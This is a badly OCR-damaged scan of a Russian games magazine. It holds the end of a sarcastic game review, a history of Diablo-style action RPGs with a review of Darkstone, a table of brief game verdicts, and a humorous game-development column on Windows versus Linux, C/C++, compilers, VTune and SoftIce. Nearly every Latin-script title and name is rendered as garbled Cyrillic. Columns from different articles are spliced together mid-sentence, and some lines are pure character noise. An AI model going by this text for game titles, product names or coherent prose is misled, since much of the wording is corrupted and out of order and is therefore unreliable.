буешь вникнуть во все аграрные проб- 
лемы и начнешь всякие ползунки двигать 
и кнопочки нажимать, крыша поедет. А 
вот если пустишь все на самотек, только 
вот это выделение народа в нужный мо- 
мент произведешь, полный абажур бу- 
дет. 

Еще хорошо у них дело с наукой об- 
стояло. В том смысле, что не было ее 
начисто, а прогресс шел себе и шел. 
Вот, скажем, кузнецы твои куют себе 
малые мечи, и как-то вдруг оказывается, 
что они уже и средние ковать научи- 
лись, а потом и большие. Только и забот 
правителю посматривать, какое там но- 
вое оружие производить можно. Нет, 
хорошее место эта самая Шотландия. 


ЧзвунЕНИЯ 
Что-то я тут о шотландцах и Шотландии 
неаккуратно как-то высказывался. На 
всякий случай, извиняюсь, это все толь- 
ко к тем шотландцам относится, кото- 
рые игру делали, да про которых она 
сделана. Ну, может быть, еще к тем, для 
которых она сделана. А ко всем прочим 
у меня никаких претензий нет. 

Еще хочу сказать, почему я умолчал 
о том, как игра тормозит в самых нео- 
жиданных местах, как ее трудно поста- 
вить на паузу или снять с нее, да и о 
многом другом. Это ведь все такие баги 
и глюки, которые разработчики скоро 
зафиксят и отпатчат. Только зря, на мой 
взгляд, целостность картины пропадет. 
Сейчас игра смотрится как закончен- 
ное дерьмо, а так на равномерном ко- 
ричневом фоне появятся какие-то свет- 
лые пятна. И кому это нужно? Шотлан- 
дцам, наверное. Х 
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| ВРС, или Кодуе КРС — 
особый «подвид» жанра ролевых 
компьютерных игр. Именно компьютер- 
ных — подобного рода настольных игр 
нет и быть не может. Объясняется это 
тем, что в Наск&5|азй произошло сме- 
щение центра тяжести с собственно ро- 
левых моментов на драки главного пер- 
сонажа со всеми встречными-попереч- 
ными. Это не значит, что сюжета или ка- 
ких-нибудь дополнительных квестов в 
Наск&ЗазЙ нет — они там есть, но толь- 
ко вставлены из принципа «в нашей игре 
все как в нормальной КРС». На самом- 

` деле никакой нормальной (т.е. клас- 

‚ческой) ролевой игрой тут и не пахнет. 
И это совершенно понятно, ведь обыг- 
рывать какие-то моменты, связанные с 
диалогами или сюжетом, пока что мож- 
но только в онлайновых играх типа 
Инта, да и то потому, что там играешь 
с живым человеком, который, в отличие 
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от компьютера, не только всегда пом- 
нит, обманывал ты его ранее или нет, но 
еще и выводы соответствующие делает. 

Теоретически, этого же можно до- 
биться и от компьютера, но только тео- 
ретически. Потому что для этого придет- 
ся вложить в создание игры весьма и 
весьма приличные деньги — люди, спо- 
собные создать настоящую компьютер- 
ную игру, за просто так работать не бу- 
дут. А зачем разработчику вкладывать в 
игру дополнительные средства, когда 
можно обойтись меньшими затратами? 
Какая разница, что А| туп, зато главная 
героиня — голубоглазая блондинка с 
большими буферами, и падкие на по- 
добное люди (хотя бы даже мы с тобой) 
игру все равно купят. А коли будут по- 
том плеваться, так разработчикам-то 
что, они свое получили. 
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Вот и выходит, что 
для компьютера НасКк& 
Заз| — самая честная 
ролевая игра. Ведь там 
весь процесс заключен в 
простой последователь- 
ности «побазарил с кем- 
то — получил задание — 
пошел в подземелье/за- 
мок/дом рядом — нашел 
главного гада — насту- 
чал ему дубинкой по ре- 
пе — обыскал труп — 
принес вещь тому, кто 
посылал — получил 
экспу и бабки — пошел в 
магазин, купил дубину по- 
больше и по-сучковатее — снова пого- 
ворил с кем-то...» и так далее по списку 
до победного конца. Для того, чтобы та- 
кая игра была интересна, нужны графи- 
ка, звук, Много разного оружия и шмо- 
ток (доспехов, амуле- 
тов, колец, бутылей с 
лечащими напитками 
и т.д.), не помешает и 
немного Магии для 
разнообразия. Ваять 
графические движки 
нынче, слава Всевыш- 
нему, научились. Спе- 
цы есть, и берут за ра- 
боту не так уж и мно- 
го. Со звуком тоже все 
в норме. Бывает, нач- 
нешь иной диск прос- 
матривать — сама иг- 
ра на 100-200 мегах 
помещается, а все ос- 
тальное — музон. С 
доспехами и магией все обстоит еще 
‚ более просто. Ежели при наборе ко- 
манды разработчиков ухватят ненаро- 
ком мозговитого 
парня (дизайнер у 
них называется) — 
все будет о’кей, не 
ухватят — пойдет 
игра коту под 
хвост. 

До некоторого 
времени, НасК&- | 
ЗазН был относи- ||. 
тельно малоизвес- 
тен и не слишком- 
то популярен. Но 
все перевернулось 
в одночасье, когда 
компания ВИтгаг4 || 
выпустила игрушку 
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сназваньем кратким Г/аЫ. Это как раз 
тот случай, когда все на месте: и движок 
хороший, и звук соответствующий, и ди- 
зайнера поймали головастого. Впро- 
чем, говорить про Гао бессмыслен- 
но — все уже давным-давно сказано. 
Поговорим лучше о влиянии Хао 
на Наск&ЗазН. А оно огромно хотя бы 
потому, что продавался О!аЪо не прос- 
то хорошо, а улетно. А раз продавался 
улетно, значит и прибыль принес соот- 
ветствующую. А раз принес прибыль 
соответствующую, то конкуренты 
В/ххага просто обязаны выпустить что- 
нибудь подобное. Ведь самый надежный 
способ заработать деньги, это восполь- 
зоваться удачными чужими идеями. 
Первыми это сделали парни из 
Осеап, выпустив Нехроге. В отличие от 
О/аЫ, героев там было четверо, вслед- 
ствие чего иногда игра больше смахи- 
вала на стратегию в реальном времени, 
чем на Наск&ЗазВ. Но внешность об- 
манчива, и Нехроге был именно 
Наск&5!аз| ВРС, только несколько бо- 
лее замороченной, чем Г!аЫ. Эта за- 


мороченность в виде логических голо- 
воломок сыграла роковую роль в судь- 
бе игры. «Любители» классических ро- 
левок при виде Нехроге воротили нос 
или кривились в презрительной усмеш- 
ке («еще один НасКк&$аз!!»)}, считая иг- 
ру чересчур примитивной. А любители 
жаркой рукопашной наоборот чесали в 
затылке и ругали разработчиков за кучу 
«идиотических» задач-головоломок. В 
результате Нехроге незаслуженно за- 
быт. А ведь хорошая была вещичка. И 
геймплей имелся, и графика (пусть и 
спрайтовая) была, а музыка... О, музыка 
была что надо! 

Следом за Нехр|оге появилась игра 
СуБегтегсз, выпущенная компанией }С 
Резеагсй. Охарактеризовать ее можно 
как «О!аЫо в космосе». Это был чистей- 
шей воды клон, перенявший от оригина- 
ла все, изменив только антураж (вместо 
сражений с демонами нам предлагали 
побывать в шкуре наемника, борюще- 
гося с очередными Чужими). Но пути 
Господни неисповедимы. Несмотря на 
проверенный временем интерфейс и 
некоторые интересные фичи, СуБе- 
гтегсз тоже канул в Лету. Возможно, из- 
за отсутствия оригинальности, а воз- 
можно и из-за глупости разработчиков, 
ограничивших некоторые миссии в игре 
по времени. Наск&$азИ — это процесс 
любования сокрушением черепов вра- 
гов, а не аркада какая-то. 

Еще стоит упомянуть переведенную 
с приставок В!ахе&В!аде. Во-первых, 
это был первый Наск&$!аз| (разумеет- 
ся, авторы именовали свое детище 
РРС), поддерживавший ускорители 
трехмерной графики, а во-вторых, в иг- 
ре имелся интересный режим мультип- 
леера, позволявший проходить ее в 
кооперативном режиме четырем игро- 
кам, образовавшим группу. 

Далее по списку у нас [атетмаНоп 
Эмога. Говорить о котором мы не будем, 
потому как отстой это полнейший и не- 
чего на него место в журнале тратить. 

Самым «свежим» участником этой 
гонки зрительских симпатий (и, соответ- 
ственно, содержимого их кошельков} 
стала игрушка ВРагкзюпе, выпущенная 
совсем недавно ассо- 
циацией Саейпа о! 
Реув|орегз. 

Что сказать © 
РагКзюпе?  Выра- | 
жаясь языком музы- | 
кантов, игру можно 
назвать компиляцией. 
Ничего оригинально- | 
го в ней нет, но зато 
лучшие идеи пред- 
шественников собра- 
ны вместе и неплохо 
реализованы. 

Во-первых, гра- 
фика на высоте. Под- 
держиваются всевоз- | 
можные ЗР ускорите- | 
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ли, так что всякие там разноцветные от- 
блески, красивые эффекты магических 
заклинаний, взрывы и тому подобное 
наличествуют. До Цпгеа|, конечно, еще 
как салаге до дембеля, но и упрекать 
разработчиков тут не в чем. Более того, 
хотя уровни по размеру и невелики, за- 
то камеру можно вращать в любую сто- 
рону (как в Рипдеоп Кеерей, а при же- 
лании — приближать к главным героям 
или от них же удалять. Получается как в 
кино — спаситель человечества круп- 
ным планом. 

Во-вторых, весь диабловский гей- 
мплей сохранен, так сказать, в первоз- 
данном виде. Есть город, в котором 
дают квесты, ремонтируют найденные в 
блужданиях по подземельям предметы, 
продают лечащие и восстанавливаю- 
щие запас магии жидкости в пузырьках, 
учат новым магическим заклинаниям и 
навыкам. А сражения с нечистью идут 
легко и просто: левая клавиша мыши — 
подбежать и начать махаться, правая — 
применить заранее выбранную магию. 

В-третьих, ролевой антураж сделан 
добротно. Сюжетец имеется, пусть и 
стандартный, зато вполне приличный. 
Помимо основной сюжетной линии, ес- 
ть еще и много побочных квестов, за ко- 
торые дают или что-нибудь ценное, или 
просто экспу. С накоплением этой са- 
мой экспы растет уровень опытности 
персонажей, появляется возможность 
увеличивать им те или иные способнос- 
ти. Хотите из воина мага сделать? Ка- 
чайте ему только одну магию. Хотите 
наоборот? Нет проблем — наращивай- 
те старичку волшебнику мышечную 
массу, глядишь, он уже и орка двуруч- 
ным мечом нашинкует... 

В-четвертых, имеется в игре и муль- 
типлеер. Если есть желание, РагК$юпе 
можно проходить вдвоем. Если нет, то 
можно переключаться с одного персо- 
нажа на другого (к примеру, с колдуна 
на воина). «Бесхозным» персонажем ру- 
лит компьютер. Правда, рулит так се- 
бе — магию не применяет, иногда может 
застрять в двери и не будет с врагами 
драться. Впрочем, где это в компьютер- 
ных играх Мы видели ХОРОШИЙ искус- 
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ственный интеллект? Если кто видел, пус- 
ть скажет мне — сразу побегу покупать. 

В-пятых, есть у Рагк$юпе и свои хо- 
рошие наработки. Например, герои 
умеют сами находить дорогу к ключе- 
вым местам на уровне, при условии, что 
они уже эти места посетили раньше. ^ 
перь не приходится как идиоту бегать 
впотьмах, искать выход из подземелья — 
дал команду, и ребята сами побегут. 
Лепота! 

Вообще же, появление Вагк$юопе 
как еще одной игры в ряду Наск&ЗазВ 
ВРС наводит на интересные мысли. Как 
было с геа|-Ите эноеду? Вышли Сот- 
тапа&Сопауег, У/агсгаН И, прошло 
немного времени — и тут клоны как по- 
валили, как повалили... До сих пор ва- 
лят. Плевать, что в большинстве своем 
это отстой, зато попадаются и классные 
вещи типа Тою| АппНаНоп или 
З1агсгаН. Теперь вот и Наск&$!азВ ВРС, 
кажется, вступает в эпоху клонирова- 
ния. Остается только ждать шедевра. А 
ждать осталось немного — к Рождеству 
В;гага обещал Г/аБо И. 

А пока будем играть в Вагк$юопе, 
благо игрушка того стоит. Да и до Рож- 
дества надо продержаться... 


055 


_ Зал еуаа——— ——===— 


Урожденная 'Атегхопе 
Жанр | Квест 
Похожесть | Муз, ЗНмегз 2 
Мать/отец | Сазегтап/Мисго!&$ 
Гребует | Р133(233)/16(32) 
Групповуха Паззлы тебя 
о Описуха | Французский квест, качественный, но ничем не 
выдающийся. Перспектива от первого лица, па- 
норамное изображение, бредовый сюжет о спа- 
сении яйца некой огромной птицы, много паз- 
злов. Все это уже было, и не раз. Кроме сюжета. 
_ Приговор Очень средне 


Урожденная АНасКк ое Заисегтап 
Жанр Аркада 
Похожесть Сгос, Сех ЗО 


Мать/отец Рзудпо$$ 
Требует Р166(2-233)/16(32)/близорукость 
Групповуха Че-гоЗ! 

Описуха Примитивная аркада детского уровня с пиксель- 
ной (!) графикой и невесть на фига внедренными 
огромными межуровневыми роликами. Вид от 
третьего лица и безалаберная камера. Дурац- 
кое оружие... Все устарело года на четыре. 

Приговор Лажа 


Урожденная Вгауереай 
Жанр Стратегия 
Похожесть ЗВодип (еще не вышел} 
Мать/отец Кеа [етоп / Ео$ 
Требует Р200{2-300)/32(64)/ (ЗВ уск.) 
Групповуха (Сеть, И-нет 
Описуха Мне нечего добавить к статье Владимира Весе- 
лова в номере. Многообещающий помпезный 
проект, на поверку оказавшийся пшиком. Фильм 
классный. Игра, между нами говоря, неочень. Хо- 
тя и неординарная кое в чем. 
Приговор Слабо 


Урожденная РагК$юпе 
Жанр КРС (Кодие) 
Похожесть БаБо 


Мать/отец БерКте/С.О.. 
Требует Р233(2-300)/32(64)/ЗВ уск. 
Групповуха (Сеть, И-нет 
Описуха Очень добротный трехмерный клон ГаЫо. По- 
хожестей масса, отличий — по пальцам пересчи- 
тать, это даже скорее небольшие изменения и 
дополнения. Примечательно, что проходится дву- 
мя героями (основной и А|-управляемый). 
Приговор Хорошо 


Урожденная ОБу5сиопа Мо! 
Жанр Классический квест 
Похожесть Серия Г!зсмойа; Сит Еапдапао 
Мать/отец Рецес! / Рзудпо$5 
Требует Р133(200)/16(32) 
Групповуха Отсутствует 
Описуха Это не О!5суой 3, который, видимо, еще будет в 
свое время. Это юморная атмосфера серии 
Р5смой а, положенная на тему Мо", с совсем 
иным сюжетом. Играешь за детектива. Ведешь 
расследование. Вообще-то, ничего особенного... 
Приговор Очень средне 


, 
е, Не Блле и пу 
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ОеО-2! дате@хаКерти 
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Уммьжзб— дд (Зап суда _ 


Урожденная Маудау 
Жанр КТ 
Похожесть С&С, ККпр 2, 2 
Мать/отец Вой5 Сатез / /о\/оод 
Требует Р133(200)/32/С&С-манию 
Групповуха И-нет 
Описуха Нет, тут есть пара идей. Упрощение строитель- 
ства (вместо этого — развитие науки), шпион- 
ство, реальные нагромождения из разбитой тех- 
ники, можно турели переносить... Но это не спа- 
сает, т.к. геймплей см. «Похожесть», а качество 
говенное. 
Приговор Лажа 


Урожденная МС А!еу 
Жанр Симулятор 
Похожесть см. графу «жанр» 
Мать/отец Ромап/Етрие 
Требует Р133(200)/16(32)/(З0 уск.} 
Групповуха (Сеть, И-нет 
Описуха Пятидесятые годы, Корейская война, играешь за 
американцев. Птички: Р-51, Е-84 «Тандерджет», 
[-86 «Сейбр» и в мультиплеере еще МиГ-15. 
Смоделированы на совесть, управление — 
вполне. Плюс оригинальнейшая стратегическая 
часть (|. 
Приговор Хорошо 


Урожденная Кезрес! пс. 
Жанр ЗВ асНоп 
Похожесть Ктпарт, Ое Нага Тоду 


Мать/отец Риге Емецаттет! 
Требует Р133(200)/32/ (ЗВ уск.) 
Групповуха Поверишь ли, нет! 
Описуха Если бы Ктарт делали в школе на уроках прог- 


раммирования, получился бы Кезрес! пс. Раз- 

борки с гангстерами в городских условиях. Сде- 

ланы очень погано. Есть элемент стратегии (ско- 

лачивание своей банды), но тоже поганый. 
Приговор Лажа 


Урожденная ЗНадо\Мап 
Жанр ЗВ АсНноп/Агсаде 


Похожесть Тот Кс4ег, Негейс 2 
Мать/отец, дуапа/Асбайт 
Требует Р166(2-300)/16(64)/(ЗР уск.) 
Групповуха Только монстров 
Описуха Порт с приставок... Мертвые восстали и хотят 


поиметь всех живых. Их глушит Человек Тени, 

могущий шляться по обе стороны черты жизни. 

Геймплей во многом аркаден (автонаведение и 

т.д.). Есть адвентюрные элементы. В целом круто. 
Приговор Хорошо 


Урожденная Х-ют ЗВ 


Жанр Скролл-шутер 
Похожесть Хегс, Карюг 
Мать/отец Запе Зумет 
Требует Р200(2-300)/32(64)/карточку ОрепС\ 
Групповуха Модем, сеть, И-нет... 
Описуха Во корейцы дают! Движок у этой аркады непло- 


хой. Значит, будущее у тамошних девелоперов 
есть. А так — ну, аркада. Летишь на кораблике 
(гипа над землей), всех мочишь, идей мало, инте- и 
ресу никакого, наскучивает через пять минут. в * *, 
Приговор | Слабо а 
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я РЕЕВЕЕЕЕ НЕаНННЕНЕЕЕНННЕВ: сННЕЕНННЕННЕННаЕН НЕЕ НЕЕ НЕЕННННЕНННЕННЕННННЕЕЕ ЕЕ 
ЕНЕ ЕЕСЕЕ ЕЕ КЕЕЕЕЕЕЕЕНЫЕЕЕЕЕЕЕЕ Е вии Е СЕЕЕЕЕЕНЕЕЕЕРЕРЕРЕРЕРЕЕЕННЕНЕЕРЕЕЕЕРЕРЕЕЕЕЕЕЕН 
РЕНН эст ме Г) У? сая =. ЕСС СЕВ ВЕНЕСЕ а тт 
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В" выпуске «Мастерской» впер- 
вые появилась статья, написанная 
не мной, привлеченным мною к общему 
делу автором :). И да будет всем извес- 
тно, что подобные инициативы здесь 
завсегда приветствуются. Если у кого 
‚есть пропадающий без пользы писа- 
тельский талант и оригинальные идеи на 
тему игровой разработки, то буду 
только рад, присоединяйтесь! И пос- 
кольку уже несколько человек обрати- 
лись ко мне с риторическим вопросом 
«Как написать статью в «Мастер- 
скую»*», привожу подробный план дей- 
ствий. Итак, ты хочешь опубликовать в 
«Мастерской» свою статью. Прежде 
всего свяжись со мной по электронке 
(попытки добраться до меня через аську 
и прочие подножные средства буду рас- 
ценивать как провокационные :). В пись- 

кратко излагаешь то, о чем хочешь 
‚. ведать миру. Если тема интересная, я 
прошу прислать конспект статьи и не- 
большой (2-3 кб) отрывок, чтобы я смог 
оценить, насколько хорошо у тебя под- 
вешен язык. Если и по этому параметру 


процессе спора. Так сказать, в возмож- 

ти непосредственно наблюдать за 
процессом развития у оппонента обшир- 
ного кровоизлияния в мозг как результат 
уничижительного обращения с предметом 
его обожания. Для Ноу \иаг годится дале- 
ко не всякая тема. Нужно что-нибудь осо- 
бенное, берущее за живое, заставляю- 
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у тебя полный порядок, можешь быть 
уверен — мы опубликуем твою статью в 
ближайшем выпуске. Естественно, не 
забесплатно. Тема статьи — любая, 
имеющая отношение к разработке игр. 
Особенно приветствуются о непрог- 
раммистской стороне разработки. Нап- 
ример, о графике или звуке для игр, ди- 
зайне уровней или написании сцена- 
риев, прочее такое же. 

Второй вопрос, с которым ко мне ре- 
гулярно обращаются: «Что я держу в ру- 
ках на фотографии в начале рубрики?» 
Отвечаю. Вопреки распространенному 
мнению, это не презерватив. И даже 
(представить страшно!) не спитой пакетик 
от чая. Это всего лишь замечательное дат- 
ское печенье, за поеданием которого я 
был пойман подло прокравшимся на ре- 
дакционную кухню фоторепортером из Х. 

Напоследок, хочу поделиться впечат- 
лением от свежескачанной демки игрушки 
Тгеаа Магк$. Это совершенно отвязные 
гонки на выживание. Причем не на каких- 
нибудь пошлых джипах, а на тяжелых тан- 
ках. Угар совершеннейший. Описать это 


серьезные-пресерьезные лица воинов- 
эльфов, вооруженных ручками от швабр, 
развязно заявить, что Перумов на голову 
круче Толкиена. Вариант второй: явиться 
на матч «Спартака» с динамовским шар- 
фиком на шее. Впрочем, во втором случае 
лучше отправляться не одному, а в сопро- 
вождении личной охраны с гранатомета- 
ми и в бронежилетах... иначе процесс 
осознания всей глубины и значимости тер- 
мина По|у маг произойдет хоть и быстро, 
но довольно болезненно. 

Далее, опытным путем установлено, 
что у любого человека есть что-нибудь 
святое, и достаточно посильнее пнуть это 
самое святое, чтобы развязать Во|у маг. 
Так вот, у господ-программистов подоб- 
ным идолом является язык программиро- 
вания, компилятор этого языка и любимая 
операционная система. На большинство 
программистов и поголовно на всех «кул 
хацкеров» слова «Мпих зихх» действуют 
как красная тряпка на быка, вызывая у них 
приступы неоправданной агрессии и ма- 


словами невозможно, надо видеть. Когда 
пятидесятитонный танк сигает с горы на 
манер багги, попутно отстреливаясь в по- 
лете от наседающих соперников, крыша 
едет окончательно и бесповоротно. А ведь 
это только технологическое демо — пред- 
ставляю, что будет в релизе! Причем, что 
интересно, игрушку пишет всего один 
программист! Вот это талантище! А некий 
учуйский журнал, описывая эту игрушку, 
нещадно пропозорился. Я не знаю, какую 
дозу принял тот парень, который писал 
статью, но рассуждает он очень странно. 
Ему, видите ли, в голову взбрело, что дви- 
жок у игрушки воксельный. Причем то, что 
сам автор игры четко и ясно написал, что 
движок полигональный, коллегу-журналис- 
та совершенно не смутило. Гм... бывает. 
«...Это ничего,» — пишет он, — «что ав- 
тор утверждает, что его движок полиго- 
нальный. Мы то с Вами не дураки и лучше 
знаем, что на самом деле он все-таки вок- 
сельный...» Такой вот великий знаток. 


Александр «Хепос4» Копосков 
ХЕПОСА@хакЕр.ги 


Повторяю, ЛУЧШИМ языком программи- 
рования! И вообще, я собираюсь описать 
то, чем должен пользоваться програм- 
мист-профессионал, занимающийся раз- 
работкой игрушек, а на что он должен, 
как бы помягче выразиться... наплевать с 
самой высокой колокольни, которая толь- 
ко найдется в районе его, программиста, 
обитания. Итак, [еГ5 Ноу маг Бедитз... 


Пункт первыц. 
Операционная сиустЕма 


«Я люблю \У/т4о\$ и считаю ее наиболее 
подходящей платформой для разработки 
игр». Написал вот, и как-то не по себе ста- 
ло, как будто в чем-то постыдном признал- 
ся. Ну не понимаю я, чего все так прицепи- 
лись к несчастному дядьке Биллу и его тво- 
рению. Да, \/тао\$ не идеальная опера- 
ционка, но она самая удобная, и это глав- 
ное. А еще она постоянно развивается, 
улучшается, наращивает мышцу. Да, я 
знаю, что Ипих надежнее, но разрабаты- 
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человек пишет игры на \1з0а| Вазс. Это 
псих, бояться его не надо, достаточно выз- 
вать санитаров. Следующая странная лич- 
ность быстро-быстро стучит пальцами по 
клавишам, набивая в столбик ассемблер- 
ные команды. Щеки странной личности пе- 
риодически раздуваются от переизбытка 
гордости за свою работу. Еще бы, ведь он 
пишет игры на чистом ассемблере! Это то- 
же псих, санитары в этом случае уже не 
помогут, этого сразу в морг. Необходи- 
мость в использовании ассемблера для 
написания игр отпала уже года три назад. 
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вать игры под 

развлечение из серии «в гамаке и стоя». 
До недавнего времени, кстати, существо- 
вал миф о том, что Ипох еще и быстрее. 
Дудки. Моя любимая МТ на недавно про- 
веденных соревнованиях по скорости это- 
го выскочку Линукса сделала как ребенка. 
Линуксоиды всего мира взвыли и заявили, 
что, дескать, Линукс настроен был не так и 
вообще исследование проводилось на 
деньги дядьки Билла. Ладно, уговорили. 
Следующие состязания провели на ней- 
тральной территории, плюс предоставили 
линуксоидам возможность настроить свое 
детище на их усмотрение. Настраивали, 
настраивали и все равно продули с трес- 
ком. Осталось только заткнуться и, про- 
бормотав что-то насчет «ошибок, которые 
будут исправлены в следующих версиях», 
тихо уползти в свой мирок. Остальные 
операционки вообще как конкуренты не 
рассматриваются. Полумух (05/2) вроде 
бы догнил до летального исхода, ВеО$ хо- 
дит в памперсах и слюнявчике, МасО$ на- 
мертво привинчена к Макинтошом. Так 
что, как ни крути, а писать нужно под 
У/пдо\мз. И это правильно. Наконец, са- 
мое главное. МисгозоН устранила самую 
большую проблему, мешавшую разработ- 
чикам игр. Все дело в том, что У/тао\мз МТ 
на порядок надежнее \М//п4о\/595/98, и ни 
одного программиста, поработавшего на 
МТ, обратно в 98-е никакими палками не 
загонишь. Но, к сожалению, рабочая ло- 
шадка всех игровиков — ОпесХ, в МТ реа- 
лизован в сильно урезанном варианте. 
Вот и приходилось раньше либо мириться 
с меньшей надежностью УМУтдо\мз 95/98, 
либо работать в МТ, а для отладки и тести- 
рования перезагружаться в 98-е. Слава 
Биллу, нашим мучениям пришел конец. Но- 
вая \/пао\з 2000 построена на основе 
МТ, и поэтому не менее устойчива и вдо- 
бавок полностью поддерживает ОтесХ. 
Несколько игр, которые я попробовал за- 
пустить в новой У/тао\мз 2000, заработа- 


ли без всяких проблем, причем с той же 
скоростью, что и в \Итдо\м5 98. Причем 
это был не какой-нибудь тетрис, а нор- 
мальные игры, активно использующие 
Бгес!Х и ЗО-акселераторы. Вообще, опе- 
рационная система стала быстрее и на- 
дежнее, а системные требования при этом 
остались на уровне \/тдо\з МТ 4.0. Так 
что, пользуясь случаем, хочу передать при- 
вет дядьке Биллу и всем его родственникам 
до седьмого колена включительно. 


Пункт второб» 
Язык программурования 


Прежде чем обсуждать, какой язык прог- 
раммирования самый-самый, давай вни- 
мательно осмотримся вокруг в поисках 
странных личностей. Ага, неподалеку мы 
видим странную личность номер раз... лич- 
ность яростно водит мышкой по столу и пе- 
риодически взвизгивает от восторга. Этот 
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Если ты вдруг обнаружишь неподалеку от 
себя еще какую-нибудь странную личнос- 
ть, пишущую игрушки на каком-нибудь 
экзотическом языке, поступи с этой лич- 
ностью на свое усмотрение, но непремен- 
но жестоко и с извращенным цинизмом. 
Нормальные люди выбирают между тремя 
языками: Вер, С/С++ и /ауа. 

]ауа — замечательный язык, который я 
тебе очень рекомендую изучить, но, к со- 
жалению, его время еще не пришло. Я ду- 
маю, что о более-менее массовом исполь- 
зовании ]ауа можно будет говорить толь- 
ко годика через три. С Веры все намного 
сложнее. В принципе, это очень неплох” 
система, особенно если ты пишешь как», 
нибудь небольшие игры типа шашек или 
домино, но слишком уж много вылезает 
всяких недостатков при ближайшем ее 
рассмотрении. 

Во-первых, Рерй! — продукт, поддер- 
живаемый одной лишь фирмой Вопапд. Ес- 
ли завтра шальная Годзилла наступит 
своей когтистой лапкой на их офис или 
арабские террористы забьют всех бор- 
ландовых программистов бамбуковыми 
палками по пяткам, то ОФерР! прикажет 
долго жить и ты останешься у разбитого 
корыта. Тебе это надо? 

Во-вторых, все новые технологии раз- 
рабатываются для С/С++. Поэтому каж- 
дый раз, когда твои знакомые будут вовсю 
пользоваться новой версией ОпесХ из 
своих программ, написанных на С/С++, 
ты будешь дожидаться, когда, к примеру, 
студенту-японцу взбредет в голову выпус- 
тить новую версию своего Ве!рНХ. А если 
его укусит гремучая змея и он умрет в 
страшных корчах, как раз на середи 
твоего проекта? Я думаю, ты не буде- 
рад такому развитию событий. Поэтому я 
абсолютно убежден, что С/С++ — лучший 
язык программирования для написания иг- 
рушек. Убедил? Что! Нет? Пригласите, 
пожалуйста, санитаров... Господа санита- 
ры, этот человек неизлечимо болен и под- 
лежит изоляции. Уведите. ь 


Пункт треТЦО. 
Компипятор С/С++ 


Ты думал, что на поединке «С++ против 
всех остальных» священные войны закон- 
чились. Как бы не так! Свинья — она где 
порыться завсегда найдет. Только-только 
разобрались, что большинство задач, в 
том числе игры, удобнее всего писать на 
С/С++, так сразу оказались перед новой 
проблемой — какой компилятор выбрать. 

Маленькое лирическое отступление. 
Знаешь отчего вымерли бронтозавры, са- 
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любимая игруш- 
ка бронтозав- 
ров — компиля- 
торы от компа- 
нии Войапа. В 
свое время се- 
рия Тифо/Вог- 
ап С была 
очень популяр- 
на у нас в стра- 
не. —Популяр- 
ность, правда, 
держалась в ос- 
новном не на 
качестве компи- 
ляторов, а на 
отсутствии аль- 
тернатив. Тем 
не менее, мас- 


совый переход 
на платформу 


мые знатные, самые толстые Годзиллы, 
когда-либо топтавшие нашу планету? Не 
знаешь? А зря. Надо учиться на ошибках 
своих предков. Вымерли они оттого, что 
соображали медленно, не успевали реа- 

ровать на быстро меняющуюся действи- 
‚ельность. 

Так вот, за последние несколько лет 
ситуация с компиляторами С/С++ очень 
резко изменилась. Правда, некоторые то- 
варищи-разработчики оказались бронто- 
заврами. В основном это касается тех ум- 
ников, которые всерьез полагают, что на- 
кануне третьего тысячелетия все еще 
имеет смысл писать игрушки под 2О$ на 
\У/акот С++. Компилятор, безусловно, 
отличный, для РО$ ничего лучшего точно 
не придумали. Вот только РО$ мы уже по- 
хоронили и на могилке джигу сплясали. 
Так нет, находятся бронтозавры, которые 
об этом еще не знают. Вдобавок ладно бы 
для собственного удовольствия писали, 
так эти наивные ящеры всерьез надеются 
свои игры продать. Короче говоря, если 
подобная идея посещала твои неокреп- 
шие мозги, быстрее засунь голову под 
кран и остынь. Тебе нужны совсем другие 
инструменты. 


\УМпао\$ ребята 
из Во|апа прохлопали. Они, конечно, вы- 
пустили компиляторы, работавшие под 
\УУпдо\мз, но качество у них было сред- 
ненькое. Как результат, новенький, блес- 
тящий У!зиа| С++, специально заточенный 
под У\/тдо\$, легко обошел на повороте 
старика Борланда и стал королем дороги. 
Между прочим, вполне заслуженно. \!5иа| 
С++ сочетает в себе великолепное качес- 
тво кода с самой удобной и мощной сре- 
дой разработки. Добавь к этому М$ОМ, 
исполняющий роль хелпа и располагаю- 
щийся на двух (!} компакт-дисках, и ты пой- 
мешь, что это действительно лучший ком- 
пилятор для У/тао\5. 

Заканчивая обзор компиляторов, ска- 
жу пару добрых слов о крохотном компи- 
ляторе под названием ЕСС. Его главное 
достоинство — цена. Ровно ноль долла- 
ров и ноль центов. Поэтому если ты напи- 
сал игрушку и хочешь распространять ее 
как зпаге\м/аге через Интернет, а денег на 
приобретение легальной копии Узиа! С++ 
у тебя еще не появилось, можно попробо- 
вать скомпилировать игрушку с помощью 
(СС. Кстати, именно (СС выбрал Джон 
Кармак в качестве встроенного компиля- 


ОуцаКе 1!: Агепа вместо ОуакеС. Весит 
[СС всего около 5 мегабайт, а забрать 
его можно по адресу — УмМ/м.с5. 
угайта.еди/-1сс-муит32/таех.В#ти. 


Пункт чЕТВЕртыд, 
закпюччтЕеЛЬНЫХ 


В принципе, программисту, кроме компи- 
лятора и отладчика, ничего больше не 
нужно. Тем не менее, есть несколько ути- 
лит, которые помогут тебе облегчить раз- 
работку. 

Во-первых, профайлер ме! УТипе. 
Профайлер — это такая утилита, которая 
позволяет замерить быстродействие 
твоей игры и определить, какие куски силь- 
нее всего тормозят и, соответственно, 
нуждаются в оптимизации. В принципе, в 
Узиа! С++ встроен простенький профай- 
лер, но УТипе на порядок мощнее и удоб- 
нее. Получить его раньше можно было со- 


шись в Московском отделении |п!е| как 
«независимый разработчик». Сейчас, нас- 
колько я знаю, халява закончилась. Зато 
можно на сайте ум те/ги подписаться 
на бесплатный СО-КОМ (точнее, целых 
три) для разработчиков. Помимо кучи по- 
лезной документации, на этих дисках ты 
найдешь и оценочную версию УТипе с 
возможностью использования в течении 
двух недель. 

Еще одна необходимая примочка — 
отладчик 5оНсе от Митеда. Это един- 
ственный отладчик, который позволяет от- 
лаживать программу даже в эксклюзивном 
режиме Онес!Юга\ми и нес! ЗО. Более то- 
го, с помощью ЗоНсе можно смотреть, 
как устроена сама \\/тдо\з. Этот отлад- 
чик довольно часто встречается на пират- 
ских дисках, поэтому ЦЕ! я не указываю. 

Ну и последнее, что я хочу тебе ска- 
зать, приятель. Помни, что инструмен- 
ты — это классно, но самое главное — 
это прямые руки и мозоль на попе. Иначе 
не бывает. 


'Опег Овечкин (шамти 
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Ц= надеюсь, ты уже совершил первые 
шаги по пути к осуществлению своего 
грандиозного замысла — созданию собствен- 
ной игры. Не сомневаюсь, на экране уже зад- 
